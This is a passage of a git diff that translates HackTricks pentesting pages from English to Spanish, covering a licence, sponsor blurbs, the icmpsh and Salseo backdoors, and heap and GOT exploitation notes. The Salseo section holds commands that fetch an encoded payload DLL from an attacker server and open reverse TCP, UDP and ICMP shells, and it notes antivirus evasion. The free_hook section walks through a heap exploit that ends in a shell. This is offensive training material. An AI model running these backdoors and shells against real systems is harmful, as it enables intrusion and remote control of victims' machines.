parte sustancial del contenido de la base de datos. +c. debes cumplir con las condiciones en la Sección 3(a) si Compartes todo o una parte sustancial del contenido de la base de datos. -Para evitar dudas, esta Sección 4 complementa y no reemplaza sus obligaciones bajo esta Licencia Pública donde los Derechos Licenciados incluyen otros Derechos de Autor y Derechos Similares. +Para evitar dudas, esta Sección 4 complementa y no reemplaza tus obligaciones bajo esta Licencia Pública donde los Derechos Licenciados incluyen otros Derechos de Autor y Derechos Similares. ## Sección 5 – Renuncia de Garantías y Limitación de Responsabilidad. -a. **A menos que el Licenciante asuma por separado, en la medida de lo posible, el Licenciante ofrece el Material Licenciado tal cual y según disponibilidad, y no hace representaciones ni garantías de ningún tipo sobre el Material Licenciado, ya sea expresas, implícitas, estatutarias u otras. Esto incluye, sin limitación, garantías de título, comerciabilidad, idoneidad para un propósito particular, no infracción, ausencia de defectos latentes u otros, precisión, o la presencia o ausencia de errores, ya sea conocidos o descubribles. Donde las renuncias de garantías no están permitidas en su totalidad o en parte, esta renuncia puede no aplicarse a Usted.** +a. **A menos que el Licenciante asuma por separado, en la medida de lo posible, el Licenciante ofrece el Material Licenciado tal cual y según disponibilidad, y no hace representaciones ni garantías de ningún tipo sobre el Material Licenciado, ya sean expresas, implícitas, estatutarias u otras. Esto incluye, sin limitación, garantías de título, comerciabilidad, idoneidad para un propósito particular, no infracción, ausencia de defectos latentes u otros, precisión, o la presencia o ausencia de errores, ya sean conocidos o descubribles. Donde las renuncias de garantías no están permitidas en su totalidad o en parte, esta renuncia puede no aplicarse a ti.** -b. **En la medida de lo posible, en ningún caso el Licenciante será responsable ante Usted bajo ninguna teoría legal (incluyendo, sin limitación, negligencia) o de otro modo por cualquier pérdida, costo, gasto o daño directo, especial, indirecto, incidental, consecuente, punitivo, ejemplar u otros que surjan de esta Licencia Pública o del uso del Material Licenciado, incluso si el Licenciante ha sido advertido de la posibilidad de tales pérdidas, costos, gastos o daños. Donde una limitación de responsabilidad no está permitida en su totalidad o en parte, esta limitación puede no aplicarse a Usted.** +b. **En la medida de lo posible, en ningún caso el Licenciante será responsable ante ti bajo ninguna teoría legal (incluyendo, sin limitación, negligencia) o de otro modo por cualquier pérdida, costo, gasto o daño directo, especial, indirecto, incidental, consecuente, punitivo, ejemplar u otros que surjan de esta Licencia Pública o del uso del Material Licenciado, incluso si el Licenciante ha sido advertido de la posibilidad de tales pérdidas, costos, gastos o daños. Donde una limitación de responsabilidad no está permitida en su totalidad o en parte, esta limitación puede no aplicarse a ti.** -c. La renuncia de garantías y la limitación de responsabilidad proporcionadas anteriormente se interpretarán de manera que, en la medida de lo posible, se asemeje más a una renuncia absoluta y a la renuncia de toda responsabilidad. +c. La renuncia de garantías y la limitación de responsabilidad proporcionadas anteriormente se interpretarán de manera que, en la medida de lo posible, se asemeje más a una renuncia absoluta y a una exención de toda responsabilidad. ## Sección 6 – Plazo y Terminación. -a. Esta Licencia Pública se aplica durante el plazo de los Derechos de Autor y Derechos Similares licenciados aquí. Sin embargo, si Usted no cumple con esta Licencia Pública, entonces sus derechos bajo esta Licencia Pública se terminan automáticamente. +a. Esta Licencia Pública se aplica durante el plazo de los Derechos de Autor y Derechos Similares licenciados aquí. Sin embargo, si no cumples con esta Licencia Pública, entonces tus derechos bajo esta Licencia Pública se terminan automáticamente. -b. Donde su derecho a usar el Material Licenciado se ha terminado bajo la Sección 6(a), se restablece: +b. Donde tu derecho a usar el Material Licenciado se ha terminado bajo la Sección 6(a), se restablece: -1. automáticamente a partir de la fecha en que se cure la violación, siempre que se cure dentro de los 30 días de su descubrimiento de la violación; o +1. automáticamente a partir de la fecha en que se cure la violación, siempre que se cure dentro de los 30 días de tu descubrimiento de la violación; o 2. tras el restablecimiento expreso por parte del Licenciante. -Para evitar dudas, esta Sección 6(b) no afecta ningún derecho que el Licenciante pueda tener para buscar remedios por sus violaciones de esta Licencia Pública. +Para evitar dudas, esta Sección 6(b) no afecta ningún derecho que el Licenciante pueda tener para buscar remedios por tus violaciones de esta Licencia Pública. c. Para evitar dudas, el Licenciante también puede ofrecer el Material Licenciado bajo términos o condiciones separadas o dejar de distribuir el Material Licenciado en cualquier momento; sin embargo, hacerlo no terminará esta Licencia Pública. @@ -149,9 +149,9 @@ d. Las Secciones 1, 5, 6, 7 y 8 sobreviven a la terminación de esta Licencia P ## Sección 7 – Otros Términos y Condiciones. -a. El Licenciante no estará obligado por ningún término o condición adicional o diferente comunicada por Usted a menos que se acuerde expresamente. +a. El Licenciante no estará obligado por ningún término o condición adicional o diferente comunicada por ti a menos que se acuerde expresamente. -b. Cualquier arreglo, entendimiento o acuerdo respecto al Material Licenciado no declarado aquí es independiente de los términos y condiciones de esta Licencia Pública. +b. Cualquier arreglo, entendimiento o acuerdo respecto al Material Licenciado no declarado aquí es separado e independiente de los términos y condiciones de esta Licencia Pública. ## Sección 8 – Interpretación. @@ -159,9 +159,9 @@ a. Para evitar dudas, esta Licencia Pública no reduce, limita, restringe ni imp b. En la medida de lo posible, si alguna disposición de esta Licencia Pública se considera inaplicable, se reformará automáticamente en la medida mínima necesaria para hacerla aplicable. Si la disposición no puede ser reformada, se separará de esta Licencia Pública sin afectar la aplicabilidad de los términos y condiciones restantes. -c. Ningún término o condición de esta Licencia Pública será renunciado y ninguna falta de cumplimiento será consentida a menos que sea acordada expresamente por el Licenciante. +c. Ningún término o condición de esta Licencia Pública será renunciado y ninguna falta de cumplimiento será consentida a menos que se acuerde expresamente por el Licenciante. -d. Nada en esta Licencia Pública constituye o puede interpretarse como una limitación o renuncia a privilegios e inmunidades que se aplican al Licenciante o a Usted, incluyendo de los procesos legales de cualquier jurisdicción o autoridad. +d. Nada en esta Licencia Pública constituye o puede interpretarse como una limitación o renuncia a privilegios e inmunidades que se aplican al Licenciante o a ti, incluyendo de los procesos legales de cualquier jurisdicción o autoridad. ``` Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. diff --git a/src/README.md b/src/README.md index b14bc9327..b77e0929b 100644 --- a/src/README.md +++ b/src/README.md @@ -21,7 +21,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**STM Cyber**](https://www.stmcyber.com) es una gran empresa de ciberseguridad cuyo lema es **HACK THE UNHACKABLE**. Realizan su propia investigación y desarrollan sus propias herramientas de hacking para **ofrecer varios servicios valiosos de ciberseguridad** como pentesting, Red teams y capacitación. +[**STM Cyber**](https://www.stmcyber.com) es una gran empresa de ciberseguridad cuyo lema es **HACK THE UNHACKABLE**. Realizan su propia investigación y desarrollan sus propias herramientas de hacking para **ofrecer varios servicios valiosos de ciberseguridad** como pentesting, equipos rojos y capacitación. Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stmcyber.com) @@ -84,7 +84,7 @@ Accede hoy: **Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube** -**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en los negocios.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios, y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos. +**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en los negocios.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios, y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} @@ -94,10 +94,10 @@ Accede hoy:
-**SerpApi** ofrece APIs rápidas y fáciles en tiempo real para **acceder a resultados de motores de búsqueda**. Ellos scrapean motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti. +**SerpApi** ofrece APIs rápidas y fáciles en tiempo real para **acceder a resultados de motores de búsqueda**. Ellos extraen datos de motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti. -Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para scrapeo de diferentes motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex, y más.\ -A diferencia de otros proveedores, **SerpApi no solo scrapea resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda. +Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para extraer datos de diferentes motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex, y más.\ +A diferencia de otros proveedores, **SerpApi no solo extrae resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda. Los clientes actuales de SerpApi incluyen **Apple, Shopify y GrubHub**.\ Para más información, consulta su [**blog**](https://serpapi.com/blog/)**,** o prueba un ejemplo en su [**playground**](https://serpapi.com/playground)**.**\ diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4a8579657..fb3efcc74 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -868,3 +868,4 @@ - [Cookies Policy](todo/cookies-policy.md) + diff --git a/src/android-forensics.md b/src/android-forensics.md index bbdd290b4..20e7b13bf 100644 --- a/src/android-forensics.md +++ b/src/android-forensics.md @@ -12,7 +12,7 @@ Para comenzar a extraer datos de un dispositivo Android, debe estar desbloqueado ## Adquisición de Datos -Crea un [respaldo de android usando adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) y extráelo usando [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` +Crea un [android backup usando adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) y extráelo usando [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` ### Si hay acceso root o conexión física a la interfaz JTAG diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md index 6c48091a3..de914dc72 100644 --- a/src/backdoors/icmpsh.md +++ b/src/backdoors/icmpsh.md @@ -1,31 +1,25 @@ {{#include ../banners/hacktricks-training.md}} -Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) +Descarga el backdoor desde: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -# Client side +# Lado del cliente -Execute the script: **run.sh** - -**If you get some error, try to change the lines:** +Ejecuta el script: **run.sh** +**Si obtienes algún error, intenta cambiar las líneas:** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') ``` - -**For:** - +**Para:** ```bash echo Please insert the IP where you want to listen read IP ``` +# **Lado de la Víctima** -# **Victim Side** - -Upload **icmpsh.exe** to the victim and execute: - +Sube **icmpsh.exe** a la víctima y ejecuta: ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 90cf5338c..3c33f79c9 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -2,159 +2,142 @@ {{#include ../banners/hacktricks-training.md}} -## Compiling the binaries +## Compilando los binarios -Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. +Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener **Visual Studio** instalado para compilar el código. -Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). +Compila esos proyectos para la arquitectura de la caja de Windows donde los vas a usar (Si Windows soporta x64, compílalos para esa arquitectura). -You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** +Puedes **seleccionar la arquitectura** dentro de Visual Studio en la **pestaña "Build" izquierda** en **"Platform Target".** -(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) +(\*\*Si no puedes encontrar estas opciones, presiona en **"Project Tab"** y luego en **"\ Properties"**) ![](<../images/image (132).png>) -Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): +Luego, construye ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable): ![](<../images/image (1) (2) (1) (1) (1).png>) -## Prepare the Backdoor +## Preparar el Backdoor -First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: +Primero que nada, necesitarás codificar el **EvilSalsa.dll.** Para hacerlo, puedes usar el script de python **encrypterassembly.py** o puedes compilar el proyecto **EncrypterAssembly**: ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - ### Windows - ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +Ok, ahora tienes todo lo que necesitas para ejecutar todo lo relacionado con Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.** -Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** +**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...** -**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** +## **Ejecutar el backdoor** -## **Execute the backdoor** - -### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** - -Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa. +### **Obteniendo un shell reverso TCP (descargando dll codificada a través de HTTP)** +Recuerda iniciar un nc como el listener del shell reverso y un servidor HTTP para servir el evilsalsa codificado. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` +### **Obteniendo un shell reverso UDP (descargando dll codificada a través de SMB)** -### **Getting a UDP reverse shell (downloading encoded dll through SMB)** - -Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). - +Recuerda iniciar un nc como el oyente del shell reverso y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver). ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` +### **Obteniendo un shell reverso ICMP (dll codificada ya dentro de la víctima)** -### **Getting a ICMP reverse shell (encoded dll already inside the victim)** - -**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Disable ICMP Replies:** +**Esta vez necesitas una herramienta especial en el cliente para recibir el shell reverso. Descarga:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +#### **Desactivar respuestas ICMP:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` - -#### Execute the client: - +#### Ejecutar el cliente: ``` python icmpsh_m.py "" "" ``` - -#### Inside the victim, lets execute the salseo thing: - +#### Dentro de la víctima, ejecutemos la cosa de salseo: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` +## Compilando SalseoLoader como DLL exportando la función principal -## Compiling SalseoLoader as DLL exporting main function +Abre el proyecto SalseoLoader usando Visual Studio. -Open the SalseoLoader project using Visual Studio. - -### Add before the main function: \[DllExport] +### Agrega antes de la función principal: \[DllExport] ![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -### Install DllExport for this project +### Instala DllExport para este proyecto -#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** +#### **Herramientas** --> **Administrador de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...** ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** +#### **Busca el paquete DllExport (usando la pestaña Examinar), y presiona Instalar (y acepta el popup)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat** +En tu carpeta de proyecto han aparecido los archivos: **DllExport.bat** y **DllExport_Configure.bat** -### **U**ninstall DllExport +### **Des**instalar DllExport -Press **Uninstall** (yeah, its weird but trust me, it is necessary) +Presiona **Desinstalar** (sí, es raro pero confía en mí, es necesario) ![](<../images/image (5) (1) (1) (2) (1).png>) -### **Exit Visual Studio and execute DllExport_configure** +### **Sal de Visual Studio y ejecuta DllExport_configure** -Just **exit** Visual Studio +Simplemente **sal** de Visual Studio -Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat** +Luego, ve a tu **carpeta SalseoLoader** y **ejecuta DllExport_Configure.bat** -Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** +Selecciona **x64** (si vas a usarlo dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Namespace for DllExport**) y presiona **Aplicar** ![](<../images/image (7) (1) (1) (1) (1).png>) -### **Open the project again with visual Studio** +### **Abre el proyecto nuevamente con Visual Studio** -**\[DllExport]** should not be longer marked as error +**\[DllExport]** no debería estar marcado como error ![](<../images/image (8) (1).png>) -### Build the solution +### Compila la solución -Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) +Selecciona **Tipo de salida = Biblioteca de clases** (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de clases) ![](<../images/image (10) (1).png>) -Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) +Selecciona **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Compilación --> Objetivo de plataforma = x64) ![](<../images/image (9) (1) (1).png>) -To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) +Para **compilar** la solución: Compilar --> Compilar solución (Dentro de la consola de salida aparecerá la ruta de la nueva DLL) -### Test the generated Dll +### Prueba la Dll generada -Copy and paste the Dll where you want to test it. - -Execute: +Copia y pega la Dll donde quieras probarla. +Ejecuta: ``` rundll32.exe SalseoLoader.dll,main ``` +Si no aparece ningún error, ¡probablemente tengas un DLL funcional! -If no error appears, probably you have a functional DLL!! +## Obtén un shell usando el DLL -## Get a shell using the DLL - -Don't forget to use a **HTTP** **server** and set a **nc** **listener** +No olvides usar un **servidor** **HTTP** y configurar un **listener** **nc** ### Powershell - ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -163,9 +146,7 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - ### CMD - ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -174,5 +155,4 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b03deaf4a..81cb6ad90 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,13 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> Aprende y practica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> Aprende y practica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> Apoya a HackTricks > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Comparte trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github. > >
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 117d2440a..bd425b185 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1,3 +1 @@ -# Arbitrary Write 2 Exec - - +# Escritura Arbitraria 2 Exec diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 7bd874ca8..f65541986 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,34 +4,32 @@ ## **Malloc Hook** -As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**. +Como se puede ver en [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** es un puntero que apunta a la **dirección de una función que será llamada** cada vez que se llame a `malloc()`, **almacenada en la sección de datos de la biblioteca libc**. Por lo tanto, si esta dirección se sobrescribe con un **One Gadget**, por ejemplo, y se llama a `malloc`, se **llamará al One Gadget**. -To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap. +Para llamar a malloc, es posible esperar a que el programa lo llame o **llamando a `printf("%10000$c")`**, lo que asigna demasiados bytes, haciendo que `libc` llame a malloc para asignarlos en el heap. -More info about One Gadget in: +Más información sobre One Gadget en: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} > [!WARNING] -> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +> Tenga en cuenta que los hooks están **deshabilitados para GLIBC >= 2.34**. Hay otras técnicas que se pueden usar en versiones modernas de GLIBC. Ver: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). ## Free Hook -This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack: +Esto fue abusado en uno de los ejemplos de la página abusando de un ataque de fast bin después de haber abusado de un ataque de unsorted bin: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} -It's posisble to find the address of `__free_hook` if the binary has symbols with the following command: - +Es posible encontrar la dirección de `__free_hook` si el binario tiene símbolos con el siguiente comando: ```bash gef➤ p &__free_hook ``` - -[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function: +[En la publicación](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) puedes encontrar una guía paso a paso sobre cómo localizar la dirección del free hook sin símbolos. Como resumen, en la función free:
gef➤  x/20i free
 0xf75dedc0 <free>: push   ebx
@@ -45,26 +43,26 @@ gef➤  p &__free_hook
 0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
 
-In the mentioned break in the previous code in `$eax` will be located the address of the free hook. +En el punto de ruptura mencionado en el código anterior, en `$eax` se ubicará la dirección del free hook. -Now a **fast bin attack** is performed: +Ahora se realiza un **ataque de fast bin**: -- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: +- En primer lugar, se descubre que es posible trabajar con **chunks de tamaño 200** en la ubicación de **`__free_hook`**: -
gef➤  p &__free_hook
-  $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-  gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-  0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-  0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-  
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed -- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. -- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. -- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. -- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. +$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> +gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 +0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 +0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 + +- Si logramos obtener un fast chunk de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará. +- Para esto, se crea un nuevo chunk de tamaño `0xfc` y se llama a la función combinada con ese puntero dos veces, de esta manera obtenemos un puntero a un chunk liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin. +- Luego, se llama a la función de edición en este chunk para modificar la dirección **`fd`** de este fast bin para que apunte a la función **`__free_hook`** anterior. +- Después, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior, de modo que se crea otro chunk de tamaño `0x1f8` para obtener un fast bin chunk en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**. +- Y finalmente, se libera un chunk que contiene la cadena `/bin/sh\x00` llamando a la función de eliminación, activando la función **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro. -## References +## Referencias - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index ad09ee48e..6fa0e96b0 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -2,86 +2,86 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **Información Básica** -### **GOT: Global Offset Table** +### **GOT: Tabla de Desplazamiento Global** -The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved. +La **Tabla de Desplazamiento Global (GOT)** es un mecanismo utilizado en binarios vinculados dinámicamente para gestionar las **direcciones de funciones externas**. Dado que estas **direcciones no se conocen hasta el tiempo de ejecución** (debido al enlace dinámico), la GOT proporciona una forma de **actualizar dinámicamente las direcciones de estos símbolos externos** una vez que se resuelven. -Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again. +Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se **llama a una función por primera vez, su dirección real es resuelta por el enlazador dinámico y almacenada en la GOT**. Las llamadas posteriores a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente. -### **PLT: Procedure Linkage Table** +### **PLT: Tabla de Enlace de Procedimientos** -The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**. +La **Tabla de Enlace de Procedimientos (PLT)** 